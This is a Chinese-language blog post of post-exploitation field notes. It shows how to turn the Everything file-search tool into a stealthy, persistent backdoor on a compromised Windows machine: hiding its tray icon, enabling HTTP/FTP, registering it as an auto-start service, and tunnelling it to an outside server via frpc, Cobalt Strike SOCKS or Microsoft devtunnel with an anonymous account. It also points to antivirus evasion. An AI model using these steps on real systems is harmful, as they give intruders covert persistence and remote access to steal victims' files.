网安教育
培养网络安全人才
技术交流、学习咨询
最近需要做一些免杀和后渗透的工作,将一些偏向实战性质的笔记发在这里,给博客清清灰。
everything在后渗透中可以作为一个文件搜索下载工具使用,在一些场景中也可以作为免杀持久化后门使用,下面记录下实战使用方法,注意前提是已经拿到了管理员权限
从官网下载即可 https://www.voidtools.com/zh-cn/
这里我一般下载便携版64位就能满足需求了,如果目标是32位机器的话记得下载32位的
双击打开everything.exe,然后在同目录下会生成一个everything.ini。我们需要生成一个配置好的everything.ini文件。
首先打开工具-选项,关闭显示托盘图标
然后开启http和ftp服务:
将everything.exe和everything.ini上传到目标机器,然后执行命令安装启动client,并且将everything注册到系统服务中,开机会自动运行
1# 这行命令用来开启进程,添加服务
2everything.exe -install-client-service
3
4# 这行命令用来关闭进程,删除服务
5everything.exe -uninstall-client-service
附录上everything命令行参数说明
1Everything.exe [filename] [options]
2
3filename 指定打开的文件列表.
4
5-? 显示帮助.
6-admin 以管理员身份运行 "Everything".
7-admin-server-share-links 在 ETP 连接中使用 \ServerC$ 的链接形式.
8-app-data 保存数据到应用程序数据.
9-bookmark <name> 打开指定的书签.
10-case 启用大小写区分.
11-choose-language 显示语言选择窗口.
12-choose-volumes 禁用自动索引.
13-close 关闭当前搜索窗口.
14-config <filename> 指定 ini 文件的文件名.
15-connect <user:pass@host:port> 连接 ETP 服务器.
16-console 显示调试控制台.
17-copyto <filename1> <...> 显示使用指定文件名的多文件重命名工具.
18-create-file-list <filename> <path> 创建一个路径的文件列表.
19-create-file-list-exclude-files <list> 排除匹配筛选器的文件, 筛选器用分号分隔.
20-create-file-list-exclude-folders <list> 排除匹配筛选器的文件夹, 筛选器用分号分隔.
21-create-file-list-include-only-files <list> 仅包含匹配筛选器的文件, 筛选器用分号分隔.
22-create-usn-journal <volume> <max-size-bytes> <allocation-delta-bytes>
23-db <filename> 指定数据库的文件名.
24-debug 显示调试控制台.
25-debug-log 记录调试信息到本地硬盘.
26-delete-usn-journal <volume> 删除 USN 日志.
27-details 以详情视图显示结果.
28-diacritics 启用变音符匹配.
29-disable-run-as-admin 禁用以管理员身份运行.
30-disable-update-notification 禁用程序打开时更新通知.
31-drive-links 在 ETP 连接中使用 C: 的链接形式.
32-edit <filename> 用文件列表编辑器打开文件列表.
33-enable-run-as-admin 启用以管理员身份运行.
34-enable-update-notification 启用程序打开时更新通知.
35-exit 退出 "Everything".
36-first-instance 仅当此为 "Everything" 第一个实例时运行.
37-filelist <filename> 打开指定的文件列表.
38-filename <filename> 搜索指定文件名的文件和文件夹.
39-filter <name> 选择指定的搜索筛选器.
40-focus-bottom-result 聚焦到底部结果.
41-focus-last-run-result 聚焦到上次运行结果.
42-focus-most-run-result 聚焦到最常运行结果.
43-focus-results 聚焦到结果列表.
44-focus-top-result 聚焦到顶部结果.
45-ftp-links 在 ETP 连接中使用 ftp://host/C: 的链接形式.
46-fullscreen 全屏显示搜索窗口.
47-h 显示帮助.
48-help 显示帮助.
49-home 打开搜索首页.
50-install <location> 安装 "Everything" 到指定路径.
51-install-client-service 安装 "Everything" 客户服务.
52-install-config <filename> 安装指定 ini 文件.
53-install-desktop-shortcut 创建桌面快捷方式.
54-install-efu-association 关联 EFU 文件.
55-install-folder-context-menu 安装文件夹右键菜单.
56-install-quick-launch-shortcut 添加到快速启动栏.
57-install-run-on-system-startup 添加 "Everything" 到启动项.
58-install-service 安装并开启 "Everything" 服务.
59-install-service-pipe-name <name> 指定 "Everything" 服务管道名称.
60-install-service-security-descriptor 指定管道安全描述.
61-install-start-menu-shortcuts 添加 "Everything" 到开始菜单.
62-install-url-protocol 安装 URL 协议.
63-instance <name> 指定 "Everything" 的实例名.
64-l 载入本地数据库.
65-language <langID> 指定语言代码以变更界面语言.
66-load-delay <milliseconds> 载入数据库之前, 指定以毫秒为单位的延迟.
67-local 载入本地数据库.
68-matchpath 启用完整路径匹配.
69-maximized 最大化搜索窗口.
70-minimized 最小化搜索窗口.
71-moveto <filename1> <...> 显示使用指定文件名的多文件重命名工具.
72-name-part <filename> 搜索文件部分文件名.
73-newwindow 新建搜索窗口.
74-noapp-data 保存数据到应用程序路径.
75-nocase 禁用大小写区分.
76-nodb 不保存或载入 "Everything" 数据库.
77-nodiacritics 禁用变音符匹配.
78-nofullscreen 窗口化显示搜索窗口.
79-nomatchpath 禁用完整路径匹配.
80-nomaximized 非最大化搜索窗口.
81-nominimized 非最小化搜索窗口.
82-nonewwindow 显示存在的搜索窗口.
83-noontop 禁用总在最前.
84-noregex 禁用正则表达式.
85-noverbose 显示基本调制信息.
86-nowholeword 禁用全字匹配.
87-noww 禁用全字匹配.
88-ontop 启用总在最前.
89-p <path> 搜索指定的路径.
90-parent <path> 搜索指定文件夹中的文件和子文件夹.
91-parentpath <path> 搜索指定的父目录.
92-path <path> 搜索指定的路径.
93-quit 退出 "Everything".
94-read-only 以只读模式载入数据库.
95-regex 使用正则表达式.
96-reindex 强制重建数据库.
97-rename <filename1> <...> 显示使用指定文件名的多文件重命名工具.
98-s <text> 搜索指定文本.
99-search <text> 搜索指定文本.
100-searchfilelist <filename> 在指定的文本搜索列表中的文件名.
101-select <filename> 聚焦且选定指定结果.
102-server-share-links 在 ETP 连接中使用 \ServerC: 的链接形式.
103-service-pipe-name <name> 链接到指定名称的安全管道.
104-sort <name> 以指定名称排列.
105-sort-ascending 升序排列.
106-sort-descending 降序排列.
107-start-client-service 开启 "Everything" 客户服务.
108-start-service 开启 "Everything" 服务.
109-startup 后台运行 "Everything".
110-stop-client-service 停止 "Everything" 客户服务.
111-stop-service 停止 "Everything" 服务.
112-svc 以服务形式运行 "Everything".
113-svc-pipe-name <name> 启用指定名称的管道服务器.
114-svc-security-descriptor <sd> 启用指定安全描述的管道服务器.
115-thumbnail-size <size> 指定图标大小.
116-thumbnails 以图标视图显示结果.
117-toggle-window 隐藏或显示前台搜索窗口.
118-uninstall [path] 指定 "Everything" 路径来卸载.
119-uninstall-client-service 移除 "Everything" 客户服务.
120-uninstall-desktop-shortcut 移除桌面快捷方式.
121-uninstall-efu-association 移除 EFU 文件关联.
122-uninstall-folder-context-menu 移除文件夹右键菜单.
123-uninstall-quick-launch-shortcut 从快速启动栏移除.
124-uninstall-run-on-system-startup 移除 "Everything" 启动项.
125-uninstall-service 移除 "Everything" 服务.
126-uninstall-start-menu-shortcuts 从开始菜单中移除 "Everything" .
127-uninstall-url-protocol 卸载 URL 协议.
128-uninstall-user 移除用户文件.
129-update 更新数据库.
130-url <[es:]search> 搜索指定链接 ES: URL.
131-verbose 显示所有调试信息.
132-wholeword 启用全字匹配.
133-ww 启用全字符匹配.
在目标上访问127.0.0.1:2088,可以查看网页已经可以打开,并且正常访问了
一般情况下,目标都没有公网ip,所以这个时候我们想访问everything也无法访问,需要将端口转发到公网上来,下面介绍三种常见的方式
5.1 frp
就是一个端口转发工具,还有另外一些常见的工具如nps、ew、lcx等等这里就不再概述了,原理都是一样的。因为frp是开源项目所以使用这个工具比较方便。
找一个公网服务器执行
1 ./frps -p 7001 -t helloworld
然后将frpc上传到目标上,执行
1 frpc.exe tcp --proxy-name=test --server_addr=xxx.xxx.xxx.xxx --server-port 7001 --token=helloworld --local_ip=127.0.0.1 --local_port=2088 --remote_port=12088
2
3 ps: 不用的时候需要把frpc.exe进程关掉,不然会一直持续尝试连接server
4 taskkill /f /t /im frpc.exe
ps: 不用的时候需要把frpc.exe进程关掉,不然会一直持续尝试连接server
taskkill /f /t /im frpc.exe
此时访问公网服务器的12088端口就相当于访问目标机器的2088端口了。
ps: 有时候需要做一下frpc的免杀
5.2 cs自带的socks server功能
cs自带socks server功能,可以在cs的server上启动一个socks代理,然后这个代理的流量会转发到目标机器的内网:
然后在浏览器上或者proxychains挂上socks代理,代理的ip为cs的server,端口为刚才cs页面选定的端口,此时就可以直接在浏览器访问目标的http服务了
ps: 但是这种方式效果不太好,网速比较慢
5.3 利用devtunnel实现转发
微软官方提供端口转发的能力,文档可以见https://learn.microsoft.com/zh-cn/azure/developer/dev-tunnels/cli-commands
首先在官方下载devtunnel.exe :https://aka.ms/TunnelsCliDownload/win-x64
然后将devtunnel.exe上传到目标机器,执行
1devtunnel.exe user login -g -d
生成一个code,然后在本地打开github.com/login/device,使用github账号绑定一下这个code。(这里注意要新建一个匿名的github账号)
绑定完成后,在目标机器上执行
1devtunnel.exe host -p 2088
执行完毕后,就会返回一个链接,打开这个链接,就等于访问目标机器的2088端口了。
ps: 这种方式适用于没有服务器的情况,同时devtunnel.exe有官方签名,天然免杀,缺点就是需要注册一个新的github账号,且网速一般,隧道转发的连接数也有限制
文:SAUCERMAN
原文链接:https://saucer-man.com/information_security/1182.html#cl-1
版权声明:著作权归作者所有。如有侵权请联系删除
原文始发于微信公众号(开源聚合网络空间安全研究院):【实战笔记】后渗透之everything使用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论